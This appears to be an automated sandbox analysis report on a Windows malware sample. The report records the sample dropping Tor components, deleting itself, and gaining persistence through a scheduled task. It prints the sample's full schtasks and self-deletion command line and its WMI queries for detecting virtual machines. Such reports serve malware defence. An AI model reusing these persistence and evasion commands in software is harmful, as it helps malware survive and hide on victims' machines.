Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libcrypto-1_1.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Starlabs\file.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libwinpthread-1.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libgcc_s_sjlj-1.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libssp-0.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libevent_extra-2-1-7.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\zlib1.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-gencert.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libevent_core-2-1-7.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libevent-2-1-7.dll Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f

Hooking and other Techniques for Hiding and Protection
barindex
May use the Tor software to hide its network traffic
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: onion-port
Self deletion via cmd or bat file
Source: C:\Users\user\Desktop\file.exe Process created: "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\Desktop\file.exe" &&START "" "C:\Users\user\AppData\Local\Starlabs\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\Desktop\file.exe" &&START "" "C:\Users\user\AppData\Local\Starlabs\file.exe" Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\file.exe Memory allocated: 27567BE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory allocated: 27569580000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 1BF1A8D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 1BF34160000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 266D16E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 266EB120000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 24639CD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 24653680000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 1C8ACEC0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 1C8C6B40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 225791B0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 2257ABB0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 2867CAF0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Memory allocated: 2867E6F0000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599891 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599758 Jump to behavior
